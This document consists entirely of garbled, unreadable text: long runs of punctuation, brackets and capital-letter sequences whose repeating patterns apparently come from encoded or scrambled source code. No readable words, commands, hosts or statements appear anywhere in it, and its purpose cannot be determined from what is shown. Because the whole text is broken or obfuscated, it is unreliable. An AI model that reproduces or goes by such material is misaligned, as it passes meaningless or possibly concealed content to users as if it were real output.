TGGTLu\RGWQZ[WSVF jEQ\RGWQZ[WSVFTGGTLTFDSDEEVP]B[N?\SWW]YL^QYEQ[Y\RGWQZ[WSVFDSDEEVP]B[_BP [AXSVZ[A\[@P?WMAWO OLX^FPPZQAWW]YL^QYEQ[YDSDEEVP]B[WW]YL^QYEQ[YDSDEEVP]B[\WAV IMMFSF\G \WAVk?\S\RGWQZ[WSVFWMAWO \LOGR[FQ_XAG@PVZ[A\[@P?\Su\RGWQZ[WSVFDSDEEVP]B[VZ[A\[@P?AVEAASjZ@WAAR]u\RGWQZ[WSVFDSDEEVP]B[?\SAVEAASjZ@WAAR]IIAVEAASjZ@WAAR]VZ[A\[@P??T^B__RYREERXu\BjCDOETLDWOR DSDEEVP]B[?\SWW]YL^QYEQ[YT^B__RYREERXII\RGWQZ[WSVFT^B__RYREERXOLX^FPPZQA STYFPVZ[A\[@P?A ESXVGD\BjCDOETLDWOR \BjCDOETLDWORT^B__RYREERX?\SWW]YL^QYEQ[YA ESXVGDIIA ESXVGDT^B__RYREERXIICOQ [GQ\DVjWVOW@A ESXVGDVZ[A\[@P?FWDSWO@V[[ CFM_\MEDSDEEVP]B[A ESXVGD?\SOLX^FPPZQA\BjCDOETLDWORuZEVTV]Pj\[CTY\QTAPDSDEEVP]B[AG@P????H?@[FPA\LOGR[FQ_X_BP [AXSjEQDSDEEVP]B[WMAWO AVEAASjZ@WAAR]T^B__RYREERXA ESXVGD?F Q[M^^G^OGGDVRjF?H??_MGMDBYPryzwtyfn\BjCDOETLDWORh??SX@ PFCVDAYryzwtyfnWW]YL^QYEQ[Yh??WRQ@\SFBY_TAWR\RGWQZ[WSVF_MGMDBYPPXEAL_MGMDBYPII\BjCDOETLDWORSX@ PFCVDAYPXEALSX@ PFCVDAY?\SWRQ@\SFBY_TAWRN?GPA@G[?H???XS_RAWj\_VCYW]\[ARPAjZEA\Z[\BjCDOETLDWOR?\S\BjCDOETLDWOR XS_RAWj\_VCYW]	MPMN?beaTRvYZ@QY\[^@[\S\VTA\Z[??GPA@G[?H???E G_L_V_@COCGOT_Sj?@EQTAPjZEA\Z[WW]YL^QYEQ[YOLX^FPPZQA ?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?efg[TXPFETVPFVTETW\Y\ALRTAP??H????H??S@[VA\Z[R[AFR^jA^G@BBF[S??N???AGLN??????EY]B_VYR[LMPOMML[MC\GXB???\SEY]B_VYR[LMII\RGWQZ[WSVF  EY]B_VYR[LM	 GPA@G[?\SCOQ [GQ\DVjWVOW@EY]B_VYR[LMN_XXDF @OCGB[^BCA_XXDF @O
_XXDF @O_XXDF @O??Z^MWjQGV^@FQTLY@OLX^FPPZQAWW]YL^QYEQ[Y?GPA@G[?H???\S\BjCDOETLDWOR\RGWQZ[WSVFRPAjAGT[F\P[AOLX^FPPZQA GPA@G[????OPR^YCBW\L@jVTZ[PZCCL^FZ]A[??VYPTGFATAVTV]PAG@P???\Su\RGWQZ[WSVFOPR^YCBW\Lu\BjCDOETLDWOR OPR^YCBW\LN?GPA@G[?H????\Su\RGWQZ[WSVFOPR^YCBW\LN?[C^SXESSPTZQSu@XTF^??j[M^MFYLR_STTQOPR^YCBW\L  AG@P?u@XTF^[C^SXESSPTZQS?DDAPGjYE_B@SFOFC\VPOPR^YCBW\L?VYPTGFATAVTV]PAG@P?HPYFP\SuOLX^FPPZQAOPR^YCBW\LIIuWW]YL^QYEQ[YOPR^YCBW\LN?DDAPGjYE_B@SFOFC\VPOPR^YCBW\L  ?VYPTGFATAVTV]PAG@P?H??\Su\RGWQZ[WSVFOPR^YCBW\Lu\RGWQZ[WSVFOPR^YCBW\LIIuOLX^FPPZQAOPR^YCBW\LuWW]YL^QYEQ[YOPR^YCBW\LN?[C^SXESSPTZQSu@XTF^?j[M^MFYLR_STTQOPR^YCBW\LAG@P?u@XTF^[C^SXESSPTZQS??DDAPGjYE_B@SFOFC\VPOPR^YCBW\L?VYPTGFATAVTV]PAG@P?H??VYPTGFATAVTV]PAG@P?\Su\BjCDOETLDWOROPR^YCBW\LIIuWW]YL^QYEQ[YOPR^YCBW\LIIu\RGWQZ[WSVFOPR^YCBW\LN?Z^MWjQGV^@FQTLY@OLX^FPPZQAOLX^FPPZQA?\SWW]YL^QYEQ[Y\BjCDOETLDWORuFPAjAGT[F\P[A\BjCDOETLDWOR  ?GPA@G[?H?????^EQMZV_\TDBAOPR^YCBW\L\^F] R@M @LM\YDVL????\SOXPQS_WCAVOXRB ^EQMZV_\TDBAN?GPA@G[?H?\SuWW]YL^QYEQ[Y^EQMZV_\TDBAuWW]YL^QYEQ[Y^EQMZV_\TDBAOLX^FPPZQA_Bj\F\@\] _^_PFAG\[RuWW]YL^QYEQ[Y^EQMZV_\TDBA\RGWQZ[WSVFEY]B_VYR[LMN?YTS^L]AS]jT^EQMZV_\TDBA?W\BEGR]_@SWAB[????RV]WYRFLXTCOXC]R?GPA@G[?H?\Su\BjCDOETLDWOR^EQMZV_\TDBAuOLX^FPPZQA^EQMZV_\TDBAMWMQNMMLXSGA YL]TEEjMSWXMMLXSGA YL
MMLXSGA YLMMLXSGA YL?_^CYL_FAG\[RuOLX^FPPZQA^EQMZV_\TDBASTYFP[@YY ?\SOLX^FPPZQA_^CYL_\RGWQZ[WSVFWW]YL^QYEQ[Y_^CYL_jQXCPGF\Z[jVZXETGPjQXnhBRW^TOAOBRZT[TBSAGPA@G[??@[FPA_^CYL_jQX?H?L]C_@j [FWDSWO@V[[ CFM_\ME^EQMZV_\TDBAASXDZZS^@LTP^ Z[BEY]B_VYR[LM????\SL]C_@j [IIu\BjCDOETLDWOR ^EQMZV_\TDBAIIu\BjCDOETLDWOR^EQMZV_\TDBA	II\BjCDOETLDWOR_Bj\F\@\] _^_PFAG\[Ru\BjCDOETLDWOR^EQMZV_\TDBAWW]YL^QYEQ[YEY]B_VYR[LMN?\SL]C_@j [uOLX^FPPZQA^EQMZV_\TDBAN?_^CYL_FAG\[RuOLX^FPPZQA^EQMZV_\TDBASTYFP[@YY?V@D^_^jW\BjCDOETLDWOR_^CYL_OLX^FPPZQA\BjCDOETLDWOR_^CYL_jQXCPGF\Z[jVZXETGPjQXnhBRW^TOAOBRZT[TBSA?@[FPA_^CYL_jQX??\SV@D^_^jWN?DDAPGjYE_B@SFOFC\VP^EQMZV_\TDBA?\LYGF@GDVCLPD[^EQMZV_\TDBA?H?H?\S\BjCDOETLDWOR\BjCDOETLDWORuFPAjAGT[F\P[A\RGWQZ[WSVF ?GPA@G[?H??P_Y^QVA^Y^EQMZV_\TDBASASW^]IAjO[SASW^]k?DDAPGjYE_B@SFOFC\VP^EQMZV_\TDBA?YTS^L]AS]jT^EQMZV_\TDBA?W\BEGR]_@SWAB[?RV]WYRFLXTCOXC]R?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN??H?H?S@[VA\Z[MAT\_XLBVBOQZF??N?AGLN?EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMWGRGVLX W]D APOEY]B_VYR[LMN?[C^SXESSPTZQS]W\@C_BRB@GO[^jjMWW]YL^QYEQ[Y?T^\PBCXRCGZ^ ADZSCBO\BjCDOETLDWOR[C^SXESSPTZQS
[C^SXESSPTZQS?jGEZj]SVPjGZ^ ADZSCBOEY]B_VYR[LM?\SWW]YL^QYEQ[Y[C^SXESSPTZQSIIWW]YL^QYEQ[Y  [C^SXESSPTZQS	MM WIIWGRGVLX W]D APO[C^SXESSPTZQSIIT^\PBCXRCIIjGEZj]SVPjCPGF\Z[jVZXETGPjGEZj]SVPjT^\PBCXRCN?_OjYYOOALOTGQB[^XCWW]YL^QYEQ[YEY]B_VYR[LM\BjCDOETLDWOR?\S\BjCDOETLDWORWW]YL^QYEQ[YN?u@EQTAPjZEA\Z[OLX^FPPZQA\RGWQZ[WSVF?u@EQTAPjZEA\Z[WW]YL^QYEQ[YWW]YL^QYEQ[Y?u@EQTAPjZEA\Z[WW]YL^QYEQ[Y \RGWQZ[WSVF?H?\SWW]YL^QYEQ[YOLX^FPPZQAuQPYPAPjAGT[F\P[ATFFGjR\  O\^FD?H???H?????\SWW]YL^QYEQ[Y\BjCDOETLDWOR\BjCDOETLDWOR\RGWQZ[WSVFN?@Q]RBPDZYRPAjZEA\Z[WW]YL^QYEQ[Y?\S@Q]RBPDZYSTYFP@Q]RBPDZYBRW^TOAOBRZT[TBSAN?u@EQTAPjZEA\Z[OLX^FPPZQABRW^TOAOBRZT[TBSA\BjCDOETLDWOR?H?H?\[FAT[A\TAPEGZ_PVA\CPEGZZSAPGX??\SOLX^FPPZQA WW]YL^QYEQ[YIITQQjZEA\Z[WW]YL^QYEQ[YBRW^TOAOBRZT[TBSAWW]YL^QYEQ[YN?GPA@G[??H??MMALXPRCVXXYWZCZ?\SWW]YL^QYEQ[Y WW]YL^QYEQ[YN?u@EQTAPjZEA\Z[WW]YL^QYEQ[YOLX^FPPZQA?u@EQTAPjZEA\Z[\RGWQZ[WSVFOLX^FPPZQA?u@EQTAPjZEA\Z[\RGWQZ[WSVFOLX^FPPZQA?H?\S\RGWQZ[WSVF \BjCDOETLDWORuQPYPAPjAGT[F\P[ATFFGjR\  O\^FD??\SEY]B_VYR[LMWGRGVLX W]D APOEY]B_VYR[LMN?_OjYYOOALOTGQB[^XC\RGWQZ[WSVFEY]B_VYR[LMWW]YL^QYEQ[Y?H?uWP[V]XTG^EGZC\QPG??BQ_^XPLPY\SR[@YY??DDAPGjYE_B@SFOFC\VPGFWPOXCMVTM T?uP[TWYPGPF@XPFPFF\Z[??????RL^YFCQO@C^W\RGWQZ[WSVF\BjCDOETLDWOR???RL^YFCQO@C^W\RGWQZ[WSVF\RGWQZ[WSVF?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFYA[E WAj?\SWW]YL^QYEQ[Y \BjCDOETLDWORuQPYPAPjZEA\Z[\BjCDOETLDWOR?HVTAV]pMVPEA\Z[YA[E WAjN?\S\RGWQZ[WSVF \BjCDOETLDWORuQPYPAPjZEA\Z[OLX^FPPZQA?H?H?S@[VA\Z[DjE_FC\XBDDRZ@P?N?AGLNWVOTTMPL\QYDYRCA]DD[E@WVOTTMPL\Q?\S\RGWQZ[WSVF WW]YL^QYEQ[YN?bep[A\ALeGZC\QPGFGVFPAQPFVG\EAZG??u\BjCDOETLDWOR]ZXPj@GYTGGTL\BjCDOETLDWOR\BjCDOETLDWORSTYFPWW]YL^QYEQ[YSTYFP????H?e}eP[@XVZ[S\R@GPGPR\FAGL??HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H??S@[VA\Z[MS  @GO_ X???N?FATA\VTT]CDLPSTYFP?\STT]CDLPGPA@G[?TT]CDLPAG@P?AGLN?\SOLX^FPPZQA \BjCDOETLDWOR II\FjTQX\[N?GPA@G[?H?\SOLX^FPPZQA \RGWQZ[WSVFIIV@GGP[Aj@FPGjVT[WW]YL^QYEQ[YN?GPA@G[?H?@ORGTY\ ZM_L^M\FFPAjgpd`pfan\BjCDOETLDWORh
jgpd`pfan\RGWQZ[WSVFh?@ORGTY\ ZM_L^M\RGWQZ[WSVF@ORGTY\ ZM_L^M
OLX^FPPZQA@ORGTY\ ZM_L^M?\S@ORGTY\ ZM_L^MWW]YL^QYEQ[Y@ORGTY\ ZM_L^M\BjCDOETLDWORN?GPA@G[?H??BjGj@@ S]TGGTL??\S@ORGTY\ ZM_L^M\RGWQZ[WSVFN?FTGZSAZ@A [\FFPAjgpd`pfanOLX^FPPZQA h
jgpd`pfan\RGWQZ[WSVF h?FTGZSAZ@A [\RGWQZ[WSVFFTGZSAZ@A [
\RGWQZ[WSVFFTGZSAZ@A [?\SFTGZSAZ@A [FTGZSAZ@A [DB]G OWSOTGN?BjGj@@ S]nhFTGZSAZ@A [?H?HPYFPN?FAGPTX\[RFATV^SGTXP???LjWjTVBCZVD\FFPAjgpd`pfan\BjCDOETLDWORh
jgpd`pfan\BjCDOETLDWORhTGGTL?LjWjTVBCZVDOLX^FPPZQALjWjTVBCZVD
LjWjTVBCZVDTGGTL?SZGPTV]LjWjTVBCZVDTFFTGZSAZ@A [N?YZV^FPG\TY\OPGSZGXWFAG\[RFAG\VA?????FTGZSAZ@A [OLX^FPPZQAFTGZSAZ@A [
\BjCDOETLDWORFTGZSAZ@A [????\SFTGZSAZ@A [FTGZSAZ@A [DB]G OWSOTGN?BjGj@@ S]nhFTGZSAZ@A [?H?H?H?\SPXEALBjGj@@ S]N?GPA@G[j^OVjX@IQRGWTLLVOFj^OVjX@k?H?PMEPVAPQFY\Q\[RB\[QZB??PVj^GQOZQ \R^STYFP?SZGPTV]BjGj@@ S]TFFTGZSAZ@A [N\GY\TOXXSRDMSMVW PRXMY]\GY\TOXXSRD?\SA]_ MWEFLQFTGZSAZ@A [N?^QP@RXDQGAQL[OFTGZSAZ@A [?PVj^GQOZQ \R^AG@P?H?H?\SPVj^GQOZQ \R^N????\SOLX^FPPZQA OLX^FPPZQA\RGWQZ[WSVF \RGWQZ[WSVF N?e}efAT[YPCPYSGPPCTY\QTAZG????BEjFTSPjGPQ\GPVATQX\[j@GY\RGWQZ[WSVF?H?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?efg[TXPFETVPFTC\SSTYYWTV^??H?H?S@[VA\Z[T[BAZDP[W WOFRR\jFPBAVFXTAYD^RDQEL?N????\STAYD^RDQELWW]YL^QYEQ[YN?EY@R\[Fryzwtyfn\RGWQZ[WSVFh?\S\FFPAEY@R\[FnWW]YL^QYEQ[YhII\RGWQZ[WSVFEY@R\[Fn\RGWQZ[WSVFhN????GPA@G[R\jFPBAVFX??H?O_jEPDjQPS\[PQ\RGWQZ[WSVF
bejvz{ap{ajq|gQPS\[PQWW]YL^QYEQ[Y
twfeta}\RGWQZ[WSVF ?\SO_jEPDjN?GPA@G[R\jFPBAVFX?H?LE\@WYE_Sj_TGGTL\RGWQZ[WSVFOLX^FPPZQA\BjCDOETLDWORWW]YL^QYEQ[Y?SZGPTV]LE\@WYE_Sj_TFCXLLXQTCBROMB[[ j]N????\S\FFPAEY@R\[FnWW]YL^QYEQ[Y hnCXLLXQTChN?VZ[A\[@P?H?u@[XZ@[AAG\P?????VDO\[_^CP_u\RGWQZ[WSVFO_jEPDjCXLLXQTC?\S\BjCDOETLDWORVDO\[_^CP_IIOLX^FPPZQAVDO\[_^CP_OLX^FPPZQABROMB[[ j]OLX^FPPZQASTYFPN?VZ[A\[@P?H???_A_W_W\[SQD@j\BjCDOETLDWOR WW]YL^QYEQ[YBROMB[[ j]\RGWQZ[WSVFBROMB[[ j]OLX^FPPZQAVDO\[_^CP_?\S\RGWQZ[WSVF_A_W_W\[SQD@jN?VZ[A\[@P?H?_A_W_W\[SQD@j\BjCDOETLDWOR_A_W_W\[SQD@j???\S_A_W_W\[SQD@jII_A_W_W\[SQD@jWW]YL^QYEQ[YII_A_W_W\[SQD@jOLX^FPPZQA N?be@FPwYZV^eGZEFAGT[F\P[Aaay??@[FPAEY@R\[Fn\BjCDOETLDWOR hnCXLLXQTCh?H?H?GPA@G[R\jFPBAVFX?H????\STAYD^RDQEL\RGWQZ[WSVFN?GPA@G[R\jFPBAVFX?H?EY@R\[FryzwtyfnOLX^FPPZQAh??M\Q_^ Q]FA@CWE\RGWQZ[WSVFGFWPOXC?\S\FFPAEY@R\[Fn\RGWQZ[WSVFhnM\Q_^ Q]FA@CWEhN?@[FPAEY@R\[FnWW]YL^QYEQ[YhnM\Q_^ Q]FA@CWEh?H?GPA@G[R\jFPBAVFX?H?\SOLX^FPPZQA WW]YL^QYEQ[Y N?S@[VA\Z[WjSVjXPSEYPRVZX??N?\STTL@CGjOTW[OPXN?GPA@G[??H?QPDXZTSXXWEOLX^FPPZQAGFWPOXC?QCDDTE_B_COLWW]YL^QYEQ[YGFWPOXCOLX^FPPZQA?^B]LDZj]DQCDDTE_B_COLQPDXZTSXXWE?PV]Z\RGWQZ[WSVFPFVjTAAGQPDXZTSXXWE\RGWQZ[WSVFPFVjTAAG^B]LDZj]D\RGWQZ[WSVF?PV]Z\RGWQZ[WSVFPFVj_FQPDXZTSXXWE\RGWQZ[WSVFPFVj_F^B]LDZj]DWW]YL^QYEQ[Y?H?H?\S\BjCDOETLDWOR\BjCDOETLDWOR N?S@[VA\Z[T\FVBBZVDBZM^VjQ@@WRZ^BW_?N?YZRTG\A]X\VQPVZGTAZG??\SOLX^FPPZQAQ@@WRZ^BW_N?GPA@G[Q@@WRZ^BW_RBP@T P^[RFC_[ O LDRBP@T P^[R?H?QPDXZTSXXWEDB]G OWSOTG?\S\FFPAQ@@WRZ^BW_GPFEZ[FPnQPDXZTSXXWEhN?@[FPAQ@@WRZ^BW_GPFEZ[FPnQPDXZTSXXWEh???H?PFFP[A\TYTYPGA??GPA@G[Q@@WRZ^BW_?H?H?\SOLX^FPPZQAOLX^FPPZQAN??S@[VA\Z[STAFGAQE^ZPAGCD]EY@R\[F?N?CSROQSDB]G OWSOTG?\S\FFPAEY@R\[FnCSROQShN?@[FPAEY@R\[FnCSROQSh???H?QCDDTE_B_COLOLX^FPPZQAGFWPOXC\RGWQZ[WSVF?^B]LDZj]DQCDDTE_B_COL\BjCDOETLDWORGFWPOXC^ FA@TFFV@YYZW_OjOM^ FA@TFFV@
^ FA@TFFV@^ FA@TFFV@?\S\FFPAEY@R\[Fn^B]LDZj]DhN?bed@PGLyZZEQP[FPD@ZA\P[A??@[FPAEY@R\[Fn^B]LDZj]Dh?H?GPA@G[EY@R\[F?H?H?S@[VA\Z[BV\XTRD_RD\RR ]\[GYjLPO?N?\SWW]YL^QYEQ[Y]\[GYjLPON?GPA@G[]\[GYjLPO?H?P[MWQLM?\S\RGWQZ[WSVFWW]YL^QYEQ[Y\RGWQZ[WSVF GFWPOXCN?_L\ZZZBAMQYQRPAjEY@R\[jQTATGFWPOXCSTYFPSTYFP?P[MWQLM\FFPA_L\ZZZBAMQYQn\RGWQZ[WSVFh
_L\ZZZBAMQYQn\RGWQZ[WSVF h????H?D\\DYXT@PTGGTLWW]YL^QYEQ[Y OLX^FPPZQA ?SZGPTV]D\\DYXT@PTFGZ^_G@SLODN?\S\FFPA]\[GYjLPOnGZ^_G@SLODhnWW]YL^QYEQ[Y hII\RGWQZ[WSVF ]\[GYjLPOnGZ^_G@SLODhn\BjCDOETLDWOR hN?VZ[A\[@P???H?SZGPTV]]\[GYjLPOnGZ^_G@SLODhn\BjCDOETLDWOR  hTF^PLZS X@M]O^SN????\S\RGWQZ[WSVF ^PLDB]G OWSOTGSTYFPII^PLDB]G OWSOTGN?@[FPA]\[GYjLPOnGZ^_G@SLODhn\BjCDOETLDWOR  hn^PLh?VZ[A\[@P?H??\SP[MWQLM^PLP[MWQLMN??@[FPA]\[GYjLPOnGZ^_G@SLODhn\RGWQZ[WSVF  hn^PLh?VZ[A\[@P?H?H??H?be{TC\RTA\Z[wYZV^T[A\XZ[ZAZ[PGTQ\MAGPP??SZGPTV]TGGTLWW]YL^QYEQ[Y OLX^FPPZQA TFL\ZGZFZWQGG@_N?@FCGTBjGCRFPR\FFPA]\[GYjLPOnL\ZGZFZWQGG@_hn\BjCDOETLDWOR  h\BjCDOETLDWOR ]\[GYjLPOnL\ZGZFZWQGG@_hnOLX^FPPZQA  h
]\[GYjLPOnL\ZGZFZWQGG@_hnWW]YL^QYEQ[Y  hTGGTL??\S@FCGTBjGCRFPRVZ[A\[@P?B\SCSRLEZjQPS\[PQOLX^FPPZQA
bex`jey`r|{jq|gQPS\[PQOLX^FPPZQA
bejvz{ap{ajq|gWW]YL^QYEQ[Y ????jYjEjQLXYV_TGGTLLRjVB_^M MQA_ZA@PREROEGLRjVB_^?\SP[MWQLMjYjEjQLXYV_nhP[MWQLM?jYjEjQLXYV_nh\BjCDOETLDWORGFWPOXC??\SB\SCSRLEZjuOLX^FPPZQAB\SCSRLEZjOLX^FPPZQA\RGWQZ[WSVF NOCSMEXF^RAIX_TAQXWZ XOCSMEXF^RAk??SZGPTV]TGGTLuWW]YL^QYEQ[Y B\SCSRLEZj\RGWQZ[WSVFTFG[]F PDLVFSFN?CVMAFOZuWW]YL^QYEQ[YG[]F PDLVFSFSTYFP[@YY  ?\S\RGWQZ[WSVFCVMAFOZIIWW]YL^QYEQ[Y CVMAFOZOLX^FPPZQA STYFPVZ[A\[@P???\SOLX^FPPZQAWW]YL^QYEQ[YCVMAFOZ@LVG]CALN?RjZZ[ATCOSW\RGWQZ[WSVF@LVG]CALnh??\SRjZZ[ATCOSWjYjEjQLXYV_nhRjZZ[ATCOSW?H?S\[\APW@Y^]PTQ?????jYjEjQLXYV_nhOLX^FPPZQAG[]F PDLVFSF?H?H????SZGPTV]@FCGTBjGCRFPRTF^PLZS X@M]O^SN?SZGPTV]jYjEjQLXYV_TF[E\^LQGV^]jADN?\S^PL[E\^LQGV^]jADII^PLFT[\A\OPjAPMAjS\PYQ[E\^LQGV^]jADN?@[FPA]\[GYjLPOnL\ZGZFZWQGG@_hn\BjCDOETLDWOR  hn^PLh?WGPT^S@VQVD XMPMBWD_jS@VQVD X?H?H???H?H???YBLZV_Y_\FFPA]\[GYjLPOn\BjCDOETLDWORhnWW]YL^QYEQ[Y  hWW]YL^QYEQ[Y]\[GYjLPOnOLX^FPPZQAhnOLX^FPPZQA  h
]\[GYjLPOnWW]YL^QYEQ[YhnOLX^FPPZQA hTGGTL?\SYBLZV_Y_N?O_jEPDjQPS\[PQ\BjCDOETLDWOR
bejvz{ap{ajq|gQPS\[PQOLX^FPPZQA
twfeta}\BjCDOETLDWOR?LE\@WYE_Sj_TGGTLWW]YL^QYEQ[YWW]YL^QYEQ[Y\BjCDOETLDWOR\BjCDOETLDWOR?SZGPTV]YBLZV_Y_TF^PLZS X@M]O^SN?\S\FFPALE\@WYE_Sj_n^PLhIIO_jEPDjVZ[A\[@P??VDO\[_^CP_u\BjCDOETLDWORO_jEPDj^PLSTYFP[@YY?\S\BjCDOETLDWORVDO\[_^CP_\RGWQZ[WSVF VDO\[_^CP_\BjCDOETLDWORLE\@WYE_Sj_n^PLhWW]YL^QYEQ[YSTYFPIIWW]YL^QYEQ[YVDO\[_^CP_\RGWQZ[WSVF STYFPN?@[FPA]\[GYjLPOn\RGWQZ[WSVFhn\BjCDOETLDWOR hn^PLh???H?QPEGZC\F\Z[SPTF\WYPXPXP[AZ?????H?H?beeTRPy\FATV^[ZBYPQRPPSSPVAALEP??GPA@G[]\[GYjLPO?H??S@[VA\Z[SLVFEBjFMAFQ_MAX@j D EBFDWP_A?N?\SWW]YL^QYEQ[YD EBFDWP_AN?ETAV]AZATYV\E]PGF@\AP??GPA@G[D EBFDWP_A?H?SCEWYGFESZ\RGWQZ[WSVFGFWPOXC?GCS]YW^Z\O]WW]YL^QYEQ[YSCEWYGFESZeta}|{szjs|yp{txp?\RE]S^TPTGGTL?TGGTLOLX^FPPZQA\BjCDOETLDWORSCEWYGFESZOLX^FPPZQA\BjCDOETLDWORAG@P????TGGTL\RGWQZ[WSVFWW]YL^QYEQ[Y \BjCDOETLDWORGCS]YW^Z\O]WW]YL^QYEQ[YOLX^FPPZQAAG@P??\S\FFPAD EBFDWP_An\RGWQZ[WSVFhWW]YL^QYEQ[YD EBFDWP_AnWW]YL^QYEQ[YhN?SZGPTV]D EBFDWP_AnOLX^FPPZQAhTFA^C D]P\ FRPVR ODMMEVN??\S\BjCDOETLDWORFRPVR ODMMEVII\BjCDOETLDWORA^C D]P\ N?VZ[A\[@P?H????\S\FFPAD EBFDWP_AnWW]YL^QYEQ[YhnA^C D]P\ hnOLX^FPPZQAhIIWW]YL^QYEQ[YD EBFDWP_An\RGWQZ[WSVFhnA^C D]P\ hnOLX^FPPZQAhN???D EBFDWP_AnWW]YL^QYEQ[YhnA^C D]P\ hnWW]YL^QYEQ[YhTGGTL?H?SZGPTV]\RE]S^TPTFAXL__]Q_BQN?SZYQVZ[FARP[PGTYGPV@GF\CP]LEPGYZRYZR?????D EBFDWP_AnOLX^FPPZQAhnA^C D]P\ hnOLX^FPPZQAhnhAXL__]Q_BQ?H?H?H?GPA@G[D EBFDWP_A?H??S@[VA\Z[DFPQLWQV[G@?N^YMXL e}ej|{ajxtme}ej|{ajxtmSOjDBT_TYM^YMXL ?AGLN?\SQPS\[PQ\RGWQZ[WSVFIIVZ[FAT[AOLX^FPPZQA	 N?GPA@G[\[SOEDGjYEVMe}ej|{ajxtme}ej|{ajxtmOGMjXDDZLER\[SOEDGjYEVM?H?\S\BjCDOETLDWOR\BjCDOETLDWORSTYFPN?EG\X\A\CPGPV@GF\CPS\YAPGV]T\[??GPA@G[?H?TQAL\XW\RGWQZ[WSVFGFWPOXC?YST\ZQADEWVQPS\[PQWW]YL^QYEQ[Y
bejey`r|{jq|g?W\jQMESBMTGGTL?YST\ZQADEWV\RGWQZ[WSVF?YST\ZQADEWVOLX^FPPZQA????YST\ZQADEWV\BjCDOETLDWOR ???][XAGBC@RR]^C?SZGPTV]W\jQMESBMTFQPDXZTSXXWEN?\SQPDXZTSXXWEuOLX^FPPZQAQPDXZTSXXWEuOLX^FPPZQAQPDXZTSXXWEN????][XAGBC@RR]^CQPDXZTSXXWE?WGPT^?H?H?\S][XAGBC@RR]^CN?GPA@G[?H?^[X\]PSXXj\BjCDOETLDWOR][XAGBC@RR]^C?FEYjT@AZYZTQjGPR\FAPGS@[VA\Z[VOQQDVMF@FP^[X\]PSXXjN?SZGPTV]TGGTL^[X\]PSXXjVOQQDVMFOLX^FPPZQA^[X\]PSXXjVOQQDVMF\BjCDOETLDWORTFOVT^ ^VOL]CW@YN????\Su\RGWQZ[WSVFOVT^ ^VOL]CW@YN?\[VY@QPjZ[VPOVT^ ^VOL]CW@Y?GPA@G[?H????H????H?AWX ALZ@YVEu\BjCDOETLDWOR][XAGBC@RR]^C?\SAWX ALZ@YVESTYFPII\RGWQZ[WSVFAWX ALZ@YVEWW]YL^QYEQ[YSTYFPN????GPA@G[?H?AWX ALZ@YVE\RGWQZ[WSVFWW]YL^QYEQ[YAWX ALZ@YVE?AWX ALZ@YVE\BjCDOETLDWOR\RGWQZ[WSVF\RGWQZ[WSVFAWX ALZ@YVE?TMP[Q]OML DWRVjG[VQQ]E@^jVMP_MBXCRjZVYRGOZWW]YL^QYEQ[Y  ?\STMP[Q]OML DWRSTYFPNFE]SZ^ SO  PAQ]ZB[FMBFE]SZ^ SO?GPA@G[?H?uOLX^FPPZQATMP[Q]OML DWROLX^FPPZQAAWX ALZ@YVE?AGLN?u\[VY@QPTMP[Q]OML DWR?HS\[TYYLN?\LYGF@GDVCLPD[TMP[Q]OML DWR?H?AAXGW@_TCG@@BROLX^FPPZQATQAL\XWeta}|{szjs|yp{txp?ryzwtyfn\RGWQZ[WSVFhTQAL\XW?ryzwtyfn\BjCDOETLDWOR hAAXGW@_TCG@@BR?EVECQ\GOLX^FPPZQA?OLX^FPPZQA??\RGWQZ[WSVF?\RGWQZ[WSVF?WW]YL^QYEQ[Y??H?WW]YL^QYEQ[Y?H?H?]VR@XZjjVjG[VQQ]E@^jVMP_MBXCRjZVYRGOZOLX^FPPZQA?\S]VR@XZjjN?FAGP[RA]GPQ@VPTVV@X@YTAZGSZGbep[A\ALeGZC\QPG??uWW]YL^QYEQ[Y]VR@XZjjEVECQ\G?AGLN??u\[VY@QP]VR@XZjjYM[YWj_[PD@E[BA][YM[YWj_[PD@E ?HS\[TYYLN?\LYGF@GDVCLPD[]VR@XZjj?H?H?@[GZYYSTVAZG??HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?bew@AAZ[wYZV^GPYPTFPAG\P??H?\SWW]YL^QYEQ[YWW]YL^QYEQ[YNPFjSjLMOSPQF[XOPFjSjL?S@[VA\Z[Z^VDGTMFAVPLBT]jLA@LZBFFAF\QLS[ LLZ?N?\S\RGWQZ[WSVF BT]jLA@LZBFFAN?uTVA\CTAPGTAPY\X\APG??GPA@G[BT]jLA@LZBFFA????H?LVLV RXZ[RTGGTLOLX^FPPZQAWW]YL^QYEQ[YOLX^FPPZQA\RGWQZ[WSVF\RGWQZ[WSVF?SZGPTV]LVLV RXZ[RTF^PLN?EGPQ\VA\CPVZCTG\T[A??\S\FFPABT]jLA@LZBFFAn^PLhII\BjCDOETLDWOR BT]jLA@LZBFFAn^PLhN?VZ[A\[@P?H????G\OVC_OZ]D[QMjMTGGTL?SZGPTV]BT]jLA@LZBFFAn^PLhTF]Y]SFj SN?\SOLX^FPPZQA]Y]SFj SN?xLfdyfz{ZEPGTAZGFEZFAALEPFPA@E??G\OVC_OZ]D[QMjMnh]Y]SFj S?VZ[A\[@P?H?[E^METFX\FFPA]Y]SFj Sn\BjCDOETLDWORh
]Y]SFj SnOLX^FPPZQAh??AAXGW@_TCG@@BR\FFPAryzwtyfnWW]YL^QYEQ[Yh
